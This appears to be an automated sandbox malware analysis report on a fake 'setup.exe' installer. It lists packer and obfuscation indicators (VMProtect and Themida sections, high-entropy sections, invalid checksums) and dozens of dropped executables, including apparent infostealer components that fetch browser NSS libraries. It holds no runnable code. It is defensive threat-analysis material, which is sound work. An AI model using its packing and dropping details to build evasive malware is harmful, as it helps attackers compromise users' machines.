Source: 1719859269.0326595_setup.exe Static PE information: Raw size of .vmp<E is bigger than: 0x100000 < 0x434a00
Source: Binary string: mozglue.pdbP source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2718939776.000000006664D000.00000002.00000001.01000000.00000023.sdmp
Source: Binary string: nss3.pdb@ source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp
Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772EXE\obj\Debug\playApp_multy.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000000.2312651651.0000000000802000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: Z:\Development\Secureuser\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: IVTULQzdBmF3Bc0NeoxSnYvg.exe, IVTULQzdBmF3Bc0NeoxSnYvg.exe, 00000007.00000002.3354901045.000000000077A000.00000040.00000001.01000000.00000007.sdmp
Source: Binary string: PE.pdbH] source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2421761793.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2468716919.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2421723577.0000000003231000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\CcYLxMOT.pdb source: yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2485120366.0000000005D70000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: PE.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2421761793.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2468716919.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2421723577.0000000003231000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: newsoftgnu.pdb source: 1719859269.0326595_setup.exe, 00000000.00000003.2242900895.0000021665139000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp
Source: Binary string: mozglue.pdb source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2718939776.000000006664D000.00000002.00000001.01000000.00000023.sdmp
Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\fxYgZM.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2478274768.00000000054E0000.00000004.08000000.00040000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Unpacked PE file: 9.2.Lbg6Jgx2PuK0JimgGIFCI5UU.exe.a00000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe Unpacked PE file: 31.2.mp3doctorfree32_64.exe.400000.0.unpack .text:ER;.hhead9:R;.data:W;.rsrc:R;.ihead9:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe Unpacked PE file: 31.2.mp3doctorfree32_64.exe.400000.0.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E0E40 LoadLibraryW,GetProcAddress,__Init_thread_footer,FreeLibrary, 9_2_665E0E40
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .vmp<E
PE file contains an invalid checksum
Source: AAAAKJKJEB.exe.9.dr Static PE information: real checksum: 0x1ce160 should be: 0x1d4eea
Source: alXewrRe7Pi_SQbFkI0y1vcR.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x74dad1
Source: H1pBxuA3W1wJGbhYT2DZXaLH.tmp.8.dr Static PE information: real checksum: 0x0 should be: 0xadbc5
Source: setup[1].exe.0.dr Static PE information: real checksum: 0x0 should be: 0x754342
Source: kUJOpvLlbhqCDkTlllfRFIPb.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x754342
Source: amadka[1].exe.9.dr Static PE information: real checksum: 0x1ce160 should be: 0x1d4eea
Source: crt[1].exe.0.dr Static PE information: real checksum: 0x0 should be: 0x530251
Source: 4Q6k8SlqG7M24bYO3UgMWICf.exe.0.dr Static PE information: real checksum: 0x0 should be: 0xea35e
Source: setup[2].exe.0.dr Static PE information: real checksum: 0x0 should be: 0x74dad1
Source: 1719859269.0326595_setup.exe Static PE information: real checksum: 0x45ffc5 should be: 0x466ef9
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x267668
Source: super[1].exe.0.dr Static PE information: real checksum: 0x0 should be: 0x267668
Source: H1pBxuA3W1wJGbhYT2DZXaLH.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x530251
PE file contains sections with non-standard names
Source: 1719859269.0326595_setup.exe Static PE information: section name: _RDATA
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: 123p[1].exe.0.dr Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr Static PE information: section name: .text0
Source: 123p[1].exe.0.dr Static PE information: section name: .text1
Source: 123p[1].exe.0.dr Static PE information: section name: .text2
Source: ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe.0.dr Static PE information: section name: .00cfg
Source: ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe.0.dr Static PE information: section name: .text0
Source: ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe.0.dr Static PE information: section name: .text1
Source: ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe.0.dr Static PE information: section name: .text2
Source: setup[1].exe.0.dr Static PE information: section name: .sxdata
Source: streamer[1].exe.0.dr Static PE information: section name: .xdata
Source: kUJOpvLlbhqCDkTlllfRFIPb.exe.0.dr Static PE information: section name: .sxdata
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name: .themida
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name: .boot
Source: yTXn1eeuAPe6JeFa5Kfn6hMY.exe.0.dr Static PE information: section name: .xdata
Source: setup[2].exe.0.dr Static PE information: section name: .sxdata
Source: alXewrRe7Pi_SQbFkI0y1vcR.exe.0.dr Static PE information: section name: .sxdata
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name: .themida
Source: ExtreamFanV5.exe.7.dr Static PE information: section name: .boot
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name: .themida
Source: PowerExpertNT.exe.7.dr Static PE information: section name: .boot
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name: .themida
Source: WinTrackerSP.exe.7.dr Static PE information: section name: .boot
Source: freebl3.dll.9.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.9.dr Static PE information: section name: .00cfg
Source: mozglue.dll.9.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.9.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.9.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.9.dr Static PE information: section name: .didat
Source: nss3.dll.9.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.9.dr Static PE information: section name: .00cfg
Source: softokn3.dll.9.dr Static PE information: section name: .00cfg
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name:
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: .idata
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name:
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: jkbeubqv
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: ybbtgqtz
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: .taggant
Source: amadka[1].exe.9.dr Static PE information: section name:
Source: amadka[1].exe.9.dr Static PE information: section name: .idata
Source: amadka[1].exe.9.dr Static PE information: section name:
Source: amadka[1].exe.9.dr Static PE information: section name: jkbeubqv
Source: amadka[1].exe.9.dr Static PE information: section name: ybbtgqtz
Source: amadka[1].exe.9.dr Static PE information: section name: .taggant
Source: softokn3[1].dll.9.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00A99887 push edi; mov dword ptr [esp], esi 7_2_00C90AD7
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00A99887 push ecx; mov dword ptr [esp], 03738EA7h 7_2_00CA0FB0
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00A988E5 push 7738EED0h; mov dword ptr [esp], esp 7_2_00CB0B89
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_007B0C2B push 3E44BDD2h; mov dword ptr [esp], eax 7_2_00CB184B
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00A96EF7 push 73A8E10Ah; mov dword ptr [esp], ebp 7_2_00CBE0C4
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00A430D8 push 13012614h; mov dword ptr [esp], ebx 7_2_00C98097
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00932817 push 5BD0E9BAh; mov dword ptr [esp], edx 7_2_00CB3177
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0091A01F push 47F9F8D3h; mov dword ptr [esp], ecx 7_2_00CBF5F8
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006B3AD4 push ecx; ret 7_2_006B3AE7
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00936C44 push ebp; mov dword ptr [esp], ecx 7_2_00C9A4F2
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00936C44 push 180EECD3h; mov dword ptr [esp], edx 7_2_00C9A505
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00903982 push ecx; mov dword ptr [esp], 1D2BD1B1h 7_2_00C9D9BC
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00903982 push 16C68FE0h; mov dword ptr [esp], edx 7_2_00CBB578
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00989F80 push ebp; mov dword ptr [esp], edx 7_2_00CBCCA3
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00938BAA push 52A70B7Eh; mov dword ptr [esp], ecx 7_2_00CB3122
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00938BAA push 3EEDBF02h; mov dword ptr [esp], eax 7_2_00CB9EAC
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_007D5D3C push 5C267998h; mov dword ptr [esp], esi 7_2_00CA922E
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0079872B push 529EC82Eh; mov dword ptr [esp], edi 7_2_00CA3036
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0079872B push 473A3766h; mov dword ptr [esp], eax 7_2_00CB9F7E
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0078291E push 63A9446Ch; mov dword ptr [esp], eax 7_2_00CA98BA
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_007D6717 push edi; mov dword ptr [esp], ebp 7_2_00CAA668
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_007D6717 push 4040AE3Dh; mov dword ptr [esp], esi 7_2_00CB8FD4
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_00796DE4 push ebp; mov dword ptr [esp], ecx 7_2_00CBB356
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0093D979 push eax; mov dword ptr [esp], edx 7_2_00CBF72C
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00406518 push 00406555h; ret 8_2_0040654D
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00408028 push ecx; mov dword ptr [esp], eax 8_2_0040802D
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_004040B5 push eax; ret 8_2_004040F1
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00404185 push 00404391h; ret 8_2_00404389
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00404206 push 00404391h; ret 8_2_00404389
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_0040C218 push eax; ret 8_2_0040C219
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_004042E8 push 00404391h; ret 8_2_00404389
Source: super[1].exe.0.dr Static PE information: section name: entropy: 7.995086069562057
Source: super[1].exe.0.dr Static PE information: section name: entropy: 7.979644498379543
Source: super[1].exe.0.dr Static PE information: section name: entropy: 7.952841627314969
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name: entropy: 7.995086069562057
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name: entropy: 7.979644498379543
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name: entropy: 7.952841627314969
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name: entropy: 7.982639711958914
Source: ExtreamFanV5.exe.7.dr Static PE information: section name: entropy: 7.982639711958914
Source: PowerExpertNT.exe.7.dr Static PE information: section name: entropy: 7.982639711958914
Source: WinTrackerSP.exe.7.dr Static PE information: section name: entropy: 7.982639711958914
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: entropy: 7.98107146433441
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: jkbeubqv entropy: 7.952996197240488
Source: amadka[1].exe.9.dr Static PE information: section name: entropy: 7.98107146433441
Source: amadka[1].exe.9.dr Static PE information: section name: jkbeubqv entropy: 7.952996197240488

Persistence and Installation Behavior
barindex
Drops PE files to the document folder of the user
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Jump to dropped file
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-JR9V0.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcr120.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-4H4R9.tmp Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe File created: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-0K04O.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libmp3lame.dll (copy) Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-P12J5.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-QM7CF.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-IK2RF.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma2806[1].exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Temp\AAAAKJKJEB.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_shfoldr.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-18MLT.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-RPUL3.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe File created: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\openh264.dll (copy) Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[2].exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\crt[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\FCBFBGDBKJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libeay32.dll (copy) Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-TJFT6.tmp Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\streamer[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libcurl.dll (copy) Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe File created: C:\ProgramData\AIRP Next Stage 7.1.66\AIRP Next Stage 7.1.66.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File created: C:\Users\user\AppData\Local\ExtreamFanV5\ExtreamFanV5.exe Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\super[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\avdevice-58.dll (copy) Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe File created: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\Qt5Xml.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\Temp\is-T7UO2.tmp\_isetup\_iscrypt.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp File created: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-VCOE9.tmp Jump to dropped file
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe Jump to dropped file
